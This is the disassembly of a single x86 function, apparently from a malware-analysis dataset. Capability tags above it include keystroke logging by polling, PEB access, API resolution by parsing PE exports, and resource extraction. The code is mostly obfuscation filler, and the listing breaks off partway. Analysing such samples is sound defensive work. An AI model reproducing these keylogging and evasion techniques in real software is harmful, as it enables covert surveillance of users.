Function at 0x1004a863
Capabilities:
Access peb ldr_data
Check os version
Compare security identifiers
Extract resource via kernel32 functions
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10072073
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a0
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x5c], ecx
mov esi, edx
lea ecx, [esp + 0x68]
inc edi
mov dword [esp + 0x3c], esi
push edi
call fcn.10011f61
mov dword [esp + 0x10], 0x971c1ec2
xor ebx, ebx
mov dword [esp + 0x20], 0x1afa
mov dword [esp + 0x18], 0xc0dcee05
mov dword [esp + 0x30], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0xc], ebx
jmp 0x1004a8d9
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x68]
mov dword [eax + ecx*4], 0x91a049fe
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1004a8c6
mov dword [esp + 0x10], ebx
jmp 0x1004a931
mov dword [esp + 0xc], 0xc0aa39ed
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], ebx
jl 0x1004a91b
mov dword [esp + 0x24], 0xffffffff
inc dword [esp + 0x24]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [esp + 0xc]
jns 0x1004a8f7
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], bl
je 0x1004a92d
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ebx
jle 0x1004a8e5
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov eax, dword [esp + 0x10]
cmp eax, 0xaf86
mov eax, dword [esp + 0x10]
setne cl
xor edx, edx
cmp ecx, 2
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x68]
setl cl
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov edx, dword [eax]
mov eax, dword [esp + 0x10]
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, edx
setge al
cmp eax, 0xffffffff
jle 0x1004a983
cmp dword [esp + 0x20], ebx
je 0x1004a987
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
mov ecx, 0xffff
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x68]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], ebx
je 0x1004aaae
mov dword [esp + 0x2c], edi
mov dword [esp + 0x1c], 4
mov dword [esp + 0x18], ebx
jmp 0x1004aa9e
mov dword [esp + 0xc], 2
mov dword [esp + 0x34], 8
mov dword [esp + 0x10], 0xffffffe4
jmp 0x1004aa87
mov dword [esp + 0x20], 9
mov dword [esp + 0x24], 0x18db0686
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x20], ebx
jne 0x1004aa0c
mov dword [esp + 0x24], 0xf3ac16b4
mov eax, dword [esp + 0x24]
add eax, dword [esp + 0xc]
mov eax, ebx
je 0x1004aa0e
mov eax, edi
xor edx, edx
mov dword [esp + 0x34], eax
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0xc]
cmp ecx, eax
mov eax, dword [esp + 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0xc]
setge cl
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
setge cl
xor edx, edx
cmp ecx, 0x3490
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x30]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [esp + 0xc]
jne 0x1004aa77
mov ecx, edi
cmp dword [esp + 0x2c], ebx
jne 0x1004aa79
mov ecx, ebx
mov eax, dword [esp + 0x2c]
add eax, ecx
mov dword [esp + 0x28], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xffffffea
jge 0x1004a9da
mov eax, dword [esp + 0xc]
mov dword [esp + 0x34], eax
dec dword [esp + 0x18]
cmp dword [esp + 0x18], 0xffffffeb
jl 0x1004a9bd
jmp 0x1004ab65
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], ebx
jmp 0x1004aacf
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x134], 0xffffffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1004aabc
imul eax, dword [esp + 0x18], 0x4289
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0x7236
jle 0x1004aaed
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
xor edx, edx
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x68]
cmp dword [eax], edi
mov eax, dword [esp + 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xc61bbcb5
setle cl
cmp eax, ecx
mov eax, dword [esp + 0x1c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [esp + 0x24], ecx
xor ecx, ecx
mov eax, dword [esp + 0x24]
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x1c]
imul edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
cmp eax, edx
setne cl
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
sub ecx, eax
xor eax, eax
cmp ecx, 0x24ca
setl al
mov dword [esp + 0x134], eax
push dword [esp + 0x68]
call fcn.10058d37
mov eax, dword [0x10f6b0e0]
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
pop ecx
test al, 1
jne 0x1004ac1d
or eax, edi
mov dword [0x10f6b0e0], eax
push ebx
mov dword [esp + 0x1b8], ebx
push ebx
mov dword [0x10f6b0a0], ebx
mov dword [0x10f6b0a4], ebx
call fcn.10016329
mov dword [0x10f6b0a0], eax
mov dword [0x10f6b0a8], ebx
mov dword [0x10f6b0b0], ebx
mov byte [esp + 0x1b4], 2
mov ecx, 0x10f6b0a8
mov dword [esp + 0x14c], eax
lea eax, [esp + 0x14c]
push eax
push 0x10
push ebx
lea eax, [esp + 0x128]
mov dword [0x10f6b0bc], 0x3f800000
push eax
mov dword [0x10f6b0ac], ebx
call fcn.10016101
push 0x1007245d
mov dword [0x10f6b0b4], 7
mov dword [0x10f6b0b8], 8
call fcn.100589a7
or dword [esp + 0x1b8], 0xffffffff
pop ecx
imul eax, dword [esp + 0x5c], 0x2710
lea ecx, [esp + 0xa8]
push 2
add eax, esi
mov dword [esp + 0x88], eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x10], 0x89b1ab44
mov dword [esp + 0x3c], 0x8bd921b0
call fcn.10011f61
mov dword [esp + 0x38], 0xffffffff
mov dword [esp + 0x38], edi
mov dword [esp + 0xc], ebx
jmp 0x1004ac74
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xa8]
mov dword [eax + ecx*4], edi
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1004ac62
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x34], ebx
je 0x1004ac89
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], edi
cmp dword [esp + 0xc], ebx
jl 0x1004acab
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xa8]
mov dword [eax + ecx*4], 0xfd8b26de
dec dword [esp + 0xc]
jns 0x1004ac93
or dword [esp + 0x1b4], 0xffffffff
cmp dword [esp + 0xa8], 0
je 0x1004acdf
push dword [esp + 0xa8]
call fcn.10058d37
pop ecx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
lea eax, [esp + 0x84]
push eax
call fcn.1004c249
mov eax, dword [eax]
mov dword [esp + 0x30], eax
test eax, eax
je 0x1004afc6
push 2
lea ecx, [esp + 0xc8]
call fcn.10011f61
mov dword [esp + 0x1b4], 5
lea ecx, [esp + 0x100]
mov dword [esp + 0x3c], 0xfffffff9
mov dword [esp + 0xc], 3
push 2
call fcn.10011f61
mov byte [esp + 0x1b4], 6
lea eax, [esp + 0x178]
push dword [esp + 0x11c]
movdqa xmm0, xmmword [0x1000b970]
lea ecx, [esp + 0xa0]
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x38], edi
push eax
mov dword [esp + 0x2c], 0xa9f4f9a0
lea eax, [esp + 0x170]
mov dword [esp + 0x34], 0xffffffff
push eax
mov dword [esp + 0x30], 0xfffffffd
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0x7276cc72
push ebx
movdqu xmmword [esp + 0x178], xmm0
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0xb4], ebx
call fcn.1001775d
push 2
mov dword [esp + 0x2c], 0xf4d4e209
mov dword [esp + 0x14], ebx
pop edx
jmp 0x1004adda
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc4]
mov dword [eax + ecx*4], edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edx
jl 0x1004adc8
push 0xfffffffffffffff7
mov dword [esp + 0x14], ebx
pop esi
jmp 0x1004adfb
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x100]
mov dword [eax + ecx*4], esi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edx
jl 0x1004ade9
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x100]
push 4
pop edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x34]
sub ecx, 0x1cbbc969
inc dword [esp + 0x34]
cmp eax, ecx
cmovg edi, ebx
xor ecx, ecx
mov dword [esp + 0x24], edi
mov eax, dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffc
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0xc4]
mov dword [eax + 4], edx
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
cmp eax, 0xd8cf
mov eax, dword [esp + 0x9c]
setle cl
sub ecx, edx
neg ecx
push eax
sbb ecx, ecx
inc ecx
mov dword [eax + 4], ecx
mov dword [esp + 0x2c], ecx
call fcn.10058d37
pop ecx
push dword [esp + 0x100]
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xa8], ebx
call fcn.10058d37
pop ecx
push dword [esp + 0xc4]
mov dword [esp + 0x104], ebx
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ebx
call fcn.10058d37
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebx
mov dword [esp + 0x1c], 0xfffffff9
mov dword [esp + 0x38], 0x29855eec
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x34], 9
mov dword [esp + 0x1c], 5
pop ecx
mov dword [esp + 0xb4], eax
cmp dword [esp + 0x18], esi
jg 0x1004c070
mov ebx, 0x801465ee
mov dword [esp + 0x10], 0xfffffffd
mov dword [esp + 0x24], 0xeb2d3650
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x18]
cmp eax, ecx
setge dl
sub edx, dword [esp + 0x10]
neg edx
sbb edx, edx
inc edx
sub edx, dword [esp + 0x10]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x24]
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 7
setg cl
sub ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x30], eax
dec dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jle 0x1004af29
jmp 0x1004c070
mov eax, dword [0x10f6b0e0]
test al, 2
jne 0x1004b068
or eax, 2
mov dword [0x10f6b0e0], eax
push 7
pop esi
push ebx
mov dword [esp + 0x1b8], esi
push ebx
mov dword [0x10f6b0c0], ebx
mov dword [0x10f6b0c4], ebx
call fcn.10016329
mov dword [0x10f6b0c0], eax
mov dword [0x10f6b0c8], ebx
mov dword [0x10f6b0d0], ebx
mov byte [esp + 0x1b4], 9
mov ecx, 0x10f6b0c8
mov dword [esp + 0x120], eax
lea eax, [esp + 0x120]
push eax
push 0x10
push ebx
lea eax, [esp + 0x170]
mov dword [0x10f6b0dc], 0x3f800000
push eax
mov dword [0x10f6b0cc], ebx
call fcn.10016101
push 0x10072458
mov dword [0x10f6b0d4], esi
mov dword [0x10f6b0d8], 8
call fcn.100589a7
or dword [esp + 0x1b8], 0xffffffff
pop ecx
lea eax, [esp + 0x5c]
xorps xmm0, xmm0
push eax
movdqu xmmword [esp + 0x110], xmm0
call fcn.1004c2ab
cmp byte [ebp + 0xc], 0
mov eax, dword [eax]
mov dword [esp + 0x34], eax
jne 0x1004b092
test eax, eax
jne 0x1004bba9
mov dword [esp + 0x20], ebx
lea ecx, [esp + 0x74]
push 4
call fcn.10011f61
mov dword [esp + 0x1b4], 0xa
lea ecx, [esp + 0xe8]
mov dword [esp + 0x10], 0xe76d238e
push edi
call fcn.10011f61
mov dword [esp + 0x18], 0xffffffff
mov dword [esp + 0x10], ebx
jmp 0x1004b0e2
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x74]
mov dword [eax + ecx*4], 0xc29a3df6
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x1004b0cf
mov dword [esp + 0x10], ebx
jmp 0x1004b105
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xe8]
mov dword [eax + ecx*4], 0xd5467356
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x1004b0ef
inc dword [esp + 0x18]
push 3
mov dword [esp + 0x14], ebx
pop esi
jmp 0x1004b230
mov dword [esp + 0x18], ebx
jmp 0x1004b21e
mov dword [esp + 0x20], ebx
jmp 0x1004b210
mov dword [esp + 0x124], 0xaba4a2c6
mov dword [esp + 0x128], 0xaba4a2c6
mov dword [esp + 0x12c], 0xaba4a2c6
mov dword [esp + 0x130], 0xaba4a2c6
mov dword [esp + 0x12c], esi
cmp dword [esp + 0x12c], ebx
jl 0x1004b20c
mov dword [esp + 0xc], 0xfffffff6
mov dword [esp + 0xc], ebx
jmp 0x1004b18a
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x138], ebx
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x1004b17b
mov dword [esp + 0x138], ebx
jmp 0x1004b1be
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x74]
mov dword [eax + ecx*4], edi
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b1b7
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
inc dword [esp + 0x138]
cmp dword [esp + 0x138], esi
jle 0x1004b199
mov dword [esp + 0xc], esi
cmp dword [esp + 0xc], ebx
jl 0x1004b1ff
mov dword [esp + 0x1c], 9
mov dword [esp + 0x1c], ebx
jmp 0x1004b1f2
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x74]
mov dword [eax + ecx*4], 0xcdffa870
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 4
jl 0x1004b1df
dec dword [esp + 0xc]
jns 0x1004b1d1
dec dword [esp + 0x12c]
jns 0x1004b16d
inc dword [esp + 0x20]
cmp dword [esp + 0x20], esi
jle 0x1004b12d
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jle 0x1004b124
mov eax, dword [esp + 0x20]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jle 0x1004b11b
cmp dword [esp + 0xe8], 0
je 0x1004b266
push dword [esp + 0xe8]
call fcn.10058d37
pop ecx
mov dword [esp + 0xe8], ebx
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
or dword [esp + 0x1b4], 0xffffffff
cmp dword [esp + 0x74], 0
je 0x1004b28b
push dword [esp + 0x74]
call fcn.10058d37
pop ecx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dl, byte [ebp + 0xc]
lea eax, [esp + 0x198]
mov ecx, dword [esp + 0x5c]
push eax
call fcn.10040643
mov esi, eax
lea edi, [esp + 0x110]
pop ecx
lea ecx, [esp + 0xd0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
inc edi
push edi
call fcn.10011f61
mov dword [esp + 0xc], ebx
jmp 0x1004b2d9
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xd0]
mov dword [eax + ecx*4], 0x5d6c05ba
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1004b2c3
mov eax, dword [esp + 0xd0]
mov dword [eax], 0xa
mov dword [esp + 0x28], 0xfffffffa
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b30f
push 0x1655
push 0x1732
call dword [sym.imp.USER32.dll_MonitorFromWindow]
mov ecx, dword [esp + 0xd0]
mov eax, dword [ecx]
dec dword [ecx]
cmp dword [ecx], 9
mov dword [esp + 0x28], eax
jg 0x1004b2ec
push ecx
call fcn.10058d37
cmp byte [ebp + 0xc], 0
pop ecx
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
je 0x1004b734
cmp dword [esp + 0x114], 0
je 0x1004b734
mov eax, 0x9ff60657
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
push 3
mov dword [esp + 0x10], 0xe6bacd79
mov dword [esp + 0x10], ebx
pop esi
jmp 0x1004b3af
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b3ab
push ebx
push ebx
push 0x1e6e
push 0x11f1
push 0x360
call dword [sym.imp.USER32.dll_ScrollWindow]
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jle 0x1004b389
mov eax, dword [esp + 0x118]
mov dword [esp + 0x10], edi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x18], 0xbdf78b15
mov dword [esp + 0x1c], 0xfffffffd
mov dword [esp + 0xb8], eax
mov dword [esp + 0xc], ebx
jmp 0x1004b3fc
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x15c], 8
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1004b3e9
mov dword [esp + 0x10], 0x13
jmp 0x1004b621
mov dword [esp + 0xc], 0xc3fa3c9e
lea ecx, [esp + 0x4c]
mov dword [esp + 0x28], 5
push edi
call fcn.10011f61
mov dword [esp + 0x18], ebx
jmp 0x1004b440
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x40], 0xedfe
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 2
jl 0x1004b430
mov dword [esp + 0x18], ebx
jmp 0x1004b460
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x4c]
mov dword [eax + ecx*4], 0xff9b0371
inc dword [esp + 0x18]
cmp dword [esp + 0x18], edi
jl 0x1004b44d
mov eax, dword [esp + 0x10]
xor edx, edx
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x40]
imul eax, dword [esp + 0x40]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x40]
neg eax
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x10]
cmp ecx, eax
setl dl
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x40]
sub eax, 0xcf16
neg eax
sbb eax, eax
inc eax
cmp eax, dword [esp + 0x10]
jge 0x1004b50e
cmp dword [esp + 0x44], ebx
jne 0x1004b50e
cmp dword [esp + 0x2c], ebx
je 0x1004b5fc
cmp dword [esp + 0x4c], 0
je 0x1004b505
push dword [esp + 0x4c]
call fcn.10058d37
pop ecx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x1c], ebx
jmp 0x1004b644
mov dword [esp + 0x20], 0x5e2623e
mov dword [esp + 0x18], edi
cmp dword [esp + 0x18], ebx
jl 0x1004b5fc
mov dword [esp + 0x24], 0xffffffff
xor edx, edx
mov dword [esp + 0x28], 4
mov eax, dword [esp + 0x40]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x40]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x40]
test eax, eax
mov eax, dword [esp + 0xc]
setle dl
xor ecx, ecx
neg edx
cmp eax, edx
setg cl
xor edx, edx
inc ecx
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x20]
add eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x4c]
cmp ecx, dword [eax]
mov eax, dword [esp + 0x44]
setl dl
xor ecx, ecx
sub edx, eax
mov eax, dword [esp + 0x40]
cmp edx, 0x3674
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x18]
setge dl
xor ecx, ecx
mov eax, dword [esp + eax*4 + 0x40]
cmp edx, eax
mov eax, dword [esp + 0x18]
sete cl
xor edx, edx
mov eax, dword [esp + eax*4 + 0x40]
cmp eax, ecx
mov eax, dword [esp + 0x18]
setge dl
xor ecx, ecx
mov eax, dword [esp + eax*4 + 0x40]
cmp eax, edx
setl cl
cmp ecx, 0x2a457afc
je 0x1004b5d9
mov edx, ebx
cmp dword [esp + 0x20], ebx
je 0x1004b5db
mov edx, edi
mov eax, dword [esp + 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
mov dword [esp + 0x28], eax
dec dword [esp + 0x18]
jns 0x1004b524
cmp dword [esp + 0x30], ebx
cmp dword [esp + 0x4c], 0
je 0x1004b61d
push dword [esp + 0x4c]
call fcn.10058d37
mov dword [esp + 0x58], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], ebx
pop ecx
dec dword [esp + 0x10]
cmp dword [esp + 0x10], 0xffffffe9
jne 0x1004b410
jmp 0x1004b505
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x15c], 0x5f2012cb
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x1004b631
mov dword [esp + 0x28], 0x23e7
cmp dword [esp + 0x28], 0xb9f
jge 0x1004b726
lea eax, [esp + 0x60]
push eax
push 0x1000b200
call fcn.1005856b
pop ecx
pop ecx
lea eax, [esp + 0x4b]
mov byte [esp + 0x4b], bl
push eax
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x18c]
inc eax
push eax
call fcn.10012115
mov eax, dword [esp + 0x60]
mov ecx, ebx
add eax, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 0x30], ebx
test eax, eax
jle 0x1004b70d
lea eax, [esp + 0x148]
push eax
push 0x1000b200
call fcn.1005856b
mov edx, dword [esp + 0x190]
mov eax, edi
pop ecx
pop ecx
mov ecx, dword [esp + 0x148]
mov esi, ecx
shr esi, 5
and ecx, 0x1f
shl eax, cl
and eax, dword [edx + esi*4]
neg eax
sbb eax, eax
and eax, 0xfffffffe
inc eax
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
cmp ebx, eax
cmovg eax, ebx
mov ebx, eax
mov eax, edi
shl eax, cl
or dword [edx + esi*4], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x60]
inc ecx
add eax, eax
mov dword [esp + 0x30], ecx
cmp ecx, eax
jl 0x1004b6a1
mov dword [esp + 0x2c], ebx
xor ebx, ebx
mov ecx, dword [esp + 0x2c]
push ecx
push 0x1000b22c
call fcn.10058bc8
pop ecx
pop ecx
lea ecx, [esp + 0x188]
call fcn.10012176
mov eax, dword [esp + 0x114]
mov dword [esp + 0xbc], eax
cmp dword [esp + 0x34], 0
jne 0x1004bba9
cmp dword [esp + 0x10c], 0
jle 0x1004bba9
mov dword [esp + 0xc], 0x1928c176
mov dword [esp + 0x18], 0x854668da
mov dword [esp + 0xc], 0xfffffffe
jmp 0x1004b99b
mov dword [esp + 0x1c], 0xa9ac70c3
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0xfffffffb
jmp 0x1004b98c
mov dword [esp + 0x10], 0xfffffffc
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], ebx
jmp 0x1004b7a8
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0x88], 7
inc dword [esp + 0x20]
cmp dword [esp + 0x20], edi
jl 0x1004b795
mov eax, dword [esp + 0x10]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xff9cef03
mov eax, 0x11f0
setl cl
sub eax, ecx
je 0x1004b89b
mov dword [esp + 0x30], 0x385d06f6
mov dword [esp + 0x20], ebx
jmp 0x1004b7ef
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0x150], 0x2abf
inc dword [esp + 0x20]
cmp dword [esp + 0x20], edi
jl 0x1004b7dc
mov eax, dword [esp + 0x150]
xor ecx, ecx
cmp eax, 0x60df3928
mov eax, dword [esp + 0x10]
setne cl
xor edx, edx
cmp ecx, 0x626a
setge dl
imul eax, edx
test eax, eax
je 0x1004b824
mov ecx, edi
cmp dword [esp + 0x10], ebx
jne 0x1004b826
mov ecx, ebx
mov eax, dword [esp + 0x1c]
neg ecx
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xfffff30b
setg al
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp eax, 0x1230b63e
setg cl
cmp ecx, dword [esp + 0x10]
je 0x1004b869
mov edx, ebx
cmp dword [esp + 0x10], ebx
je 0x1004b86b
mov edx, edi
mov eax, dword [esp + 0xc]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xffff
sbb eax, eax
inc eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x88], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x28], ebx
jmp 0x1004b988
mov dword [esp + 0x10], ebx
jmp 0x1004b97e
mov dword [esp + 0x28], 0x1a49
cmp dword [esp + 0x28], 0x77c
jge 0x1004b8f4
lea eax, [esp + 0x144]
push eax
push 0x1000b200
call fcn.1005856b
pop ecx
pop ecx
mov esi, edi
mov ecx, dword [esp + 0x144]
lea ecx, [esi + ecx]
call fcn.1004a844
test al, al
jne 0x1004b8e7
inc esi
cmp esi, 0x40
jle 0x1004b8cc
jmp 0x1004b8f4
push esi
push 0x1000b6c4
call fcn.10058bc8
pop ecx
pop ecx
mov dword [esp + 0x20], ebx
jmp 0x1004b962
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], ebx
jl 0x1004b932
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b91f
push 0xe5a
push 0xd1a
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov eax, dword [esp + 0x18]
cmp dword [esp + eax*4 + 0x88], ebx
jne 0x1004b932
dec dword [esp + 0x18]
jns 0x1004b904
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], ebx
jl 0x1004b95e
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b952
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
cmp dword [esp + 0x1c], ebx
jne 0x1004b95e
dec dword [esp + 0x18]
jns 0x1004b93c
inc dword [esp + 0x20]
cmp dword [esp + 0x20], ebx
jle 0x1004b8fa
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004b97a
push ebx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ebx
jle 0x1004b8a4
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x17
jg 0x1004b783
dec dword [esp + 0xc]
cmp dword [esp + 0xc], 0xffffffe5
jle 0x1004b76a
mov dword [esp + 0xc], 5
mov dword [esp + 0x38], 0x4e79
mov dword [esp + 0x28], 0x1800
cmp dword [esp + 0x28], 0x8e0
jge 0x1004ba5b
lea eax, [esp + 0x64]
